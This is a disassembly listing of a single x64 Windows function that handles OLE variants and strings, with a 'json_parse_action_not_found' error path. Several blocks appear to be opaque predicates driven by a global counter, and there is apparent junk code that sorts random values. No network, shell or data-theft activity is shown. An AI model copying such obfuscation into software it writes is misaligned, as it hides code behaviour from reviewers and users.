mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x6f8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xea0], rax
test rax, rax
jne 0x14006ad1c
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x128]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006af0d
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006af0d
mov dword [rsp + 0xb4], r15d
mov dword [rsp + 0xdc], 0xffffffff
test rbx, rbx
je 0x14006ae81
mov eax, dword [0x1401cbd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xb
jne 0x14006ae0a
mov r13d, 1
mov dword [rsp + 0x1cc], r13d
mov ecx, r13d
mov dword [rsp + 0x2a0], ecx
mov edx, 0x9c
mov dword [rsp + 0x1d4], edx
mov dword [0x1401cbd80], edi
lea eax, [rdx - 2]
test eax, eax
js 0x14006ae04
lea eax, [rcx + r13]
mov dword [rsp + 0x528], eax
mov r13d, ecx
mov dword [rsp + 0x1cc], ecx
mov ecx, eax
mov dword [rsp + 0x2a0], eax
dec edx
mov dword [rsp + 0x1d4], edx
jmp 0x14006add4
mov dword [0x1401cbd80], ecx
mov r9, rbx
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xdc]
call fcn.14004cfc0
movzx esi, al
mov byte [rsp + 0x7a], al
mov ebx, r15d
cmp dword [rsp + 0xdc], 0xffffffff
cmovne ebx, dword [rsp + 0xdc]
mov dword [rsp + 0xb4], ebx
mov ecx, dword [0x1401cbd80]
imul ecx, ecx
and ecx, 0x80000007
jge 0x14006ae63
dec ecx
or ecx, 0xfffffff8
inc ecx
cmp ecx, 2
jne 0x14006aedd
call fcn.1400d2038
mov ecx, dword [0x1401cbd80]
cmp ecx, eax
jne 0x14006aedd
dec ecx
mov dword [0x1401cbd80], ecx
jmp 0x14006aedd
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xeb0], rax
lea rdx, [0x140154028]
lea rcx, [rsp + 0x7d0]
call fcn.140002110
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401c6d48]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xb4]
call fcn.14004d400
movzx esi, al
mov byte [rsp + 0x7a], al
mov ebx, dword [rsp + 0xb4]
cmp ebx, 0xffffffff
jne 0x14006aef9
test sil, sil
jne 0x14006aef9
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x14006af08
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
mov rsi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xf8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006af3f
mov rdx, qword [rsp + 0x7e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x108]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006af77
mov rdx, qword [rsp + 0x7f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006af77
mov rsi, qword [rsp + 0x40]
mov r8d, dword [0x1401cbd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0xb
jne 0x14006b065
lea ecx, [r8 + 1]
lea eax, [r8 + 2]
imul eax, ecx
imul eax, r8d
and eax, 0x80000007
jge 0x14006afc3
dec eax
or eax, 0xfffffff8
inc eax
cmp eax, 5
cmove r8d, ecx
mov dword [0x1401cbd80], r8d
mov rbx, rdi
mov qword [rsp + 0x800], rbx
cmp rbx, 0x63
jae 0x14006affd
call fcn.1400d2038
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rbx*8 + 0x1890], xmm0
inc rbx
jmp 0x14006afd4
mov dword [rsp + 0x1e0], edi
cmp edi, 0x63
jge 0x14006b065
mov eax, 0x62
mov dword [rsp + 0x268], eax
cmp eax, edi
jle 0x14006b053
movsxd rcx, eax
movsd xmm0, qword [rsp + rcx*8 + 0x1890]
movsd xmm1, qword [rsp + rcx*8 + 0x1888]
comisd xmm0, xmm1
jbe 0x14006b04f
movsd qword [rsp + 0xec0], xmm0
movsd qword [rsp + rcx*8 + 0x1890], xmm1
movsd qword [rsp + rcx*8 + 0x1888], xmm0
dec eax
jmp 0x14006b00e
inc edi
jmp 0x14006affd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x1590]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov bl, 1
jmp 0x14006b1b6
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x390]
call fcn.140003170
nop
lea rdx, [rsp + 0x390]
mov rcx, qword [r14 + 0x40]
call fcn.140060350
nop
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x460], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b102
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x14006b11a
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x820], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b165
mov rdx, qword [rsp + 0x820]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
test bl, bl
jne 0x14006b1b6
test r12, r12
je 0x14006b1b6
mov word [r12], r13w
mov rdx, qword [rsi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
dec r15d
jg 0x14006b1d2
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, bl
mov rcx, qword [rsp + 0xa2e0]
xor rcx, rsp
call fcn.1400d1680
movaps xmm6, xmmword [rsp + 0xa2f0]
add rsp, 0xa300
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret